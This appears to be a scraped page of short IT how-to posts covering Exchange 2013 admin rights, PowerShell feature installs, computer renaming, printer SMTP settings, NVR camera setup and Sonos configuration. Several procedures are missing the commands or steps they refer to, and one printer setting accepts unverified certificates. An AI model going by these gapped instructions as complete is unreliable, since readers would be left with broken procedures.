Exchange 2013 Get-Mailbox Only Returns Myself. Get-Mailbox only shows your own record. You expect to see all the accounts because you are an Administrator. But you only see one mailbox when I type in: Get-Mailbox. It looks like this:

My Name     my.account     server-name     Unlimited

That's it. No other users.

Type in the following to see the ROLEGROUPS:

-Get-RoleGroup

You will see all the ROLE GROUPS in EXCHANGE 2013. There's only one important group here. ORGANIZATION MANAGEMENT. Even though you might be an ADMINISTRATOR group in ACTIVE-DIRECTORY, that does not automatically make you an ADMINISTRATOR in EXCHANGE. To be an ADMINISTRATOR in EXCHANGE, you must be in the ORGANIZATIONAL MANAGEMENT group.

Let's look to see who is in the ORGANIZATION MANAGEMENT group.

-Get-RoleGroupMember "organization management"

You will see all the MEMBERS in the ORGANIZATION MANAGEMENT group. Most likely, there is only one and that is the Administrator account. Now let's add an account other than "Administrator" account.

Now when you type Get-Mailbox, you will get all the accounts in the domain.

GUI-wise you do this through the EAC:

-click PERMISSIONS (on the left)
-double-click ORGANIZATION-MANAGEMENT
-find MEMBERS section (at the bottom)
-click the PLUS SYMBOL +
-type in the account
-click OK > SAVE

ACTIVE-DIRECTORY-wise you do this through the AD USERS & GROUPS:

-click MICROSOFT EXCHANGE SECURITY GROUPS
-doubl-click ORGANIZATION MANAGEMENT
-click MEMBERS tab (at the top)

## Install .NET Framework 3.5 on Windows Server 2012

Install .NET Framework 3.5 on Windows Server 2012:

-type: Install-WindowsFeature Net-Framework-Core
-wait 10 minutes.

That should do it! Congrats!

You can check to see if it installed by:

-type: Get-WindowsFeature

And if you install the GnuWin32, you can grep to your heart's content:

-type: Get-WindowsFeature | grep -i framework

## Renaming computers in a domain

To rename computers in a domain:

Drop off the /reboot if you want the change to happen the next time the computer is rebooted (and not immediately). So it would be:

PowerShell v5 has a new way of renaming computers found here: https://technet.microsoft.com/en-us/library/hh849792.aspx

Here is the command for the local computer:

Rename-Computer -ComputerName . -NewName <New name>

But if I wanted to rename a local computer, I would just do it graphically. The point is to rename a remote computer.

Rename-Computer -NewName Server044 -DomainCredential Domain01\Admin01 -Restart

## Toshiba Scan to Email Settings

SMTP Client
Enable SMTP Client: Enable
Enable SSL: Accept all certificates without CA
SSL/TLS: STARTTLS
POP Before SMTP: Disable
Authentication: Plain
Login Name:  This e-mail address is being protected from spambots. You need JavaScript enabled to view it
Maximum Email / Internet Fax Size: 20 MB
Port Number: 587
SMTP Client Connection Timeout: 30 Seconds

The Digital Watchdog Blade (DW-BJBLADE) is a much better NVR than that last NVR product I reviewed (see NVR Part 1 - HIKVISION). It is more robust in it's ability and power. As always, with more more power comes more cost and potential complexity.

The Digital Watchdog (DWD) NVR is a Linux Ubuntu system running on an Atom x64 processor. They don't even try to hide or limit the Ubuntu system. The system boots directly to the Ubuntu desktop.

Since it is a full GUI desktop, they even include TEAMVIEWER for each system to allow for remote access.

What was surprising for me was how well UBUNTU performed on such a low-powered ATOM x64 processor.

The issue I had was that the incorrect QUICK-START-GUIDE was included. I found the correct version (listed below) with a simple google search.

### Requirement Packages

The DWD NVR solution is comprised of 3 software packages:
1. Enterprise Controller (managing database)
2. Media Sever (recording video)
3. Client (viewing recorded video)

The software packages have to be installed that way as well due to dependencies.

For me, the CLIENT was not installed on the system. (This is what lead to the hours I devoted in breaking/researching/fixing/RMA'ing the system).

Most likely, you will need the x64 packages.

All the packages should be here:
http://publiclibrary.dwcc.tv/

AFAICT, there is not seperate packages for different NVR's. The same SPECTRUM software is used across all products. The only difference is the version number (v1, v2, v3, etc) and the install base (Windows, Linux, Mac, etc) as well as the architecture (x86 or x64).

DO NOT USE THE PACKAGES LISTED ON THE PRODUCT PAGE HERE:

They list the incorrect versions. They listed the Beta versions of 2.3. The CONTROLLER was mis-matched at verion 2.1 (a downgrade in version from what was installed). The last thing I want is to install Beta versions at a client install or have an untested version mis-match. And repairing a v2.2 with a v2.1 is impossible.

### Install Packages

On an Ubuntu system:

-the package manager is: dpkg
(this is like rpm in redhat/rhel/centos. Stands for Debian Package)

-the gui package manager is Ubuntu Software Manager.
(click START > APPS > UBUNTU-SOFTWARE-CENTER)

-the update manager is apt-get (manages dependencies.)
(this is like yum in redhat/rhel/centos)

DWD recommends to:

-right-click and open-with UBUNTU-SOFTWARE-CENTER
-wait
-click INSTALL/UPGRADE/RE-INSTALL (at the top right).

If for some reason, you forgot the password, you can re-install the CONTROLLER software by using the steps above. Reinstalling the CONTROLLER package will go through a setup and allow you to reset the password. If you have an existing system and need to keep the database, please choose to KEEP THE DATABASE. Obviously, if you choose to delete the existing database, you will not be able to get it back without a backup.

That's it!!! Happy NVR'ing!!!

## Sonos Surround Speakers

What's great about Sonos is that the speakers can be paired and grouped in different ways all through the Sonos app either on the ipad/iphone/droid or through the app on the Win/Mac platform.

### Playbar, Sub and Surround. Oh my!

The Sonos Playbar/Soundbar is rather straightforward. Adding the Sonos Sub is straightforward as well.

Adding the surround can be not-so-straightforward:

• -setup Playbar/Soundbar via Sonos app.
• -setup the Surround Amp via Sonos app.
• -afterwards, click help > about-my-sonos-system
• -find the IP of the Playbar/Soundbar (not Amp).
• -open a browser (Internet-Explorer, Firefox, Chrome)
• -type: http://the-ip-of-the-soundbar:1400/wiredsat.htm
(for example: http://192.168.1.147:1400/wiredsat.htm)

It is straightforward from this point.

## NVR Part 1 - Hikvision DS-7608NI-SE/8P

PTZ = pan, tilt zoom

NVR = network video recorder.

Cameras are just dumb devices. They simply display the video. You can connect directly to the camera by typing in the IP address of the camera. The cameras have different settings & functions depending on the carmera manufacturer. Most of the time though, you can at least view what's on the camera. What's interesting is that all the capabilities of the camera are not always available via the web interface. More on that later.

Take note however, that what's being displayed on the camera is in no way related to what's being recorded. These are actually two different resolutions depending on settings.

For a HIKVISION NVR () to record what's on the camera, it must connect to the camera. To be able to connect to the camera, it needs:

• -a protocol.
• -a port number.
• -a channel number.

The important part here is that as long as the NVR can communicate with the camera, it should be able to record the video.

### This leads to two scenarios.

1- in the first scenario, if the NVR can communicate to the camera, everything is good as long as it has the settings above.

2- in the second scenario, some NVR's have their own IP address range and use this range on the switch built into the device. This IP range is 192.168.xxx.(1-254). So if you look at the back of the device, you will see 4 ports or 8 ports or possibly more. When a camera with DHCP is plugged into one of these ports the NVR will assign it's own IP address to the camera. For example, 192.168.254.10

If a camera has a static IP set, the NVR will NOT assign an IP address. Consequently, you must:

• -connect the camera to the local network (not the back of the NVR).
• -change the IP address to that of the internal NVR network (for example 192.168.254.12).
• -this will cause the camera to no longer be accessible.
• -manually plug the camera into the back of the NVR.

### Protocol

Regardless of how you connect, the protocol must match. There are different protocols for each manutfacturer (Axis, etc) and an ONVIF protocol as a generic protocol using port 80.

### Stream Types

The cameras have multiple streams and in different formats.

The record is on the MAINSTREAM (stream-1 or channel-1). Typically this stream is of higher quality and bit rate compared to a sub-stream..

The view is on the SUBSTREAM or SECONDARY STREAM (stream-2 or channel 2). This happens because stream-1 but might not be good for viewing over the wan internet. Typically the sub-stream is a lower-resolution.

MJPEG: This format uses standard JPEG still images in the video stream. These images are then displayed and updated at a rate sufficient to cr eate a stream that shows constantly updated motion.

MPEG-4: This is a video compression standard that makes good use of bandwidth, and which can provide high-quality video stre ams at less than 1 Mbit/s. MPEG-4 can be encoded in 2 ways either SIMPLE (sets the coding type to H.263 ) or ADVANCED. Usually SIMPLE is fine.

### Communication Methods

To deliver live streaming video over IP networks, various combinations of transport protocols and broadcast methods are employed.

• RTP (Real-Time Transport Protocol) is a protocol that allows programs to manage the real-time transmission of video data. It uses UDP.

• RTSP (Real-Time Streaming Protocol) allows a connecting client to start an MPEG-4 stream. It serves as a control protocol, to negotiate which transport protocol to use for the stream. RTSP is thus used by a viewing client to start a unicast session, see below. It uses TCP. The default setting is port 554. If it is not enabled, MPEG-4 streams will not be available.

• UDP (User Datagram Protocol) is a communications protocol that offers limited service for exchanging data in a network that uses the Internet Protocol (IP). UDP is an alternative to the Transmission Control Protocol (TCP). The advantage of UDP is that it is not required to deliver all data and may drop network packets when there is network congestion, for example. This is suitable for live video, as there is no point in re-transmitting old information that will not be displayed anyway.

• Unicasting is communication between a single sender and a single receiver over a network. This means that the video stream goes independently to each user, and each user gets their own stream. A benefit of unicasting is that if one stream fails, it only affects one user.

Unicasting should be used for video-on-demand broadcasting, so that there is no video traffic on the network until a client connects and requests the stream. However, if more and more unicast clients connect, the server will at some point become overloaded. There is also the maximum of 20 simultaneous viewers to be considered.

• Multicast is bandwidth-conserving technology that reduces bandwidth usage by simultaneously delivering a single stream of information to multiple network recipients. This technology is used primarily on delimited networks (intranets), as each user needs an uninterrupted data flow and should not rely on network routers.

It is not possible to multicast through a router. Consequently, it is not possible to multicast over the Internet. It is possible to get around that by using RTP tunneled over RTSP. Crazy isn't it.

### Accessing Video Real-Time

As single JPEG images in a browser. Enter the path, for example: http:///axis-cgi/jpg/ image.cgi?resolution=CIF

• • Windows Media Player. This requires codecs to be installed. The paths that can be used are listed below, in the order of preference.
• • Unicast via RTP: axrtpu :///mpeg4/media.amp
• • Unicast via RTSP: axrtsp:///mpeg4/media.amp
• • Unicast via RTSP, tunneled via HTTP : axrtsphttp:///mpeg4/media.amp
• • Unicast via RTSP, tunneled via HTTP S: axrtsphttps:///mpeg4/media.amp
• • Multicast: axrtpm:///mpeg4/media.amp

### Resolution

• D1 = 704x480
• HD = 1920x1080p

## CCTV Camera Systems & NVR's

So far, I have dealt with some of the following for Camera solutions:

• -Hikvision
• -Geovision
• -Digital Watchdog

So far, I have dealt with some of the following NVR/VR solutions:

• -Hikvision
• -Digital Watchdog

## VOIP Solutions

So far, I have dealt with some of the following for VOIP solutions:

• -Fonality
• -IPitomy
• -Zultys
• -Sark
• -Mitel

The only SIP service I've dealt with is:

• -Level3 Sip Trunk

## Windows 10 Upgrade on Domain

NOTE: This article post is out of date. Microsoft starting pushing WINDOWS 10 to computers on domains in Q2 2016.

You have two options:

It will save a bunch of bandwidth in a corporate environment since each computer will download a few GB of data.

• -click on the regedit.
• -click YES (when it asks if you want to merge).
• -restart computer.
• -click START > SETTINGS > CONTROL-PANEL > WINDOWS-UPDATE
• -click UPDATE TO WINDOWS 10

I prefer the second method since bandwidth is "free" and only costs time. On the good side, it happens automatically ;-)

## Wifi Access Points

So far, I have dealt with most typical wireless solutions for smaller projects:

• -Netgear
• -Asus
• -DDWRT

I have also dealt with some enterprise solutions:

• -Cisco
• -Meru
• -Watchguard

Now I'm getting into middle-ground projects:

• -Luxul
• -Ruckus
• -Engenuis
• -Ubiquity

These solutions focus in on the look of the WAP as well as the function of the WAP.

You'd think this would be simple to find but it isn't. Unfortunately, it's probably the semantics.

• -open the GOOGLE SHEET you want to move.
• -you will see the tabs below.
• -click the down-arrow in the tab you want to move.
• -click COPY TO.
• -select the GOOGLE SHEET you want to move to.
• -voila!

The sheet will take a new name called. "copy of sheet-name-you-just-moved."

## remote desktop connection cannot verify the identity of the computer that you want to connect to

You are on a Mac. You want to use REMOTE DESKTOP CONNECTION (rdp). When you try and use it to connect to a WINDOWS SERVER, you get,"remote desktop connection cannot verify the identity of the computer that you want to connect to."

SOLUTIONS

-upgrade the a newer version of REMOTE DESKTOP CONNECTION via APP STORE on the MAC.

This will work if you are on v10.7 and higher. This will not work on 10.6.8 and lower. I suppose in 08/2015 that a more up-to-date OSX version is mostly everywhere but I still prefer stability. And that means 10.6.8. Looks like it's time to upgrade the OSX.

-get CORD.

Here's how to fix:

2. -click SECURITY & PRIVACY (top right).
3. -find ACCOUNT SECURITY section (top left-most section).
4. -click MORE SECURITY SETTINGS.
5. -scroll down to find APP PASSWORDS section.
6. -click CREATE A NEW APP PASSWORD.
7. -at this point it will either show you an APP PASSWORD or you will have to create a new APP PASSWORD.
8. -use that APP PASSWORD to login on WORD, EXCEL or other Microsoft Mac Product

## Scrapy

Here's a nice one that's been hitting some of my web sites:
http://scrapy.org/

Apparently, it's an tool to scrape the content off of someone's web site. In this case, mine.

The web and technology can be an awesome and exciting place. It can also be a place for theives and low lifes. I still don't understand why people wouldn't want to spend their time in creation rather than theivery.

You might be able to steal my content but you can't steal my ability to think rationally and solve problems. And that, ultimately, is the only real item of value.

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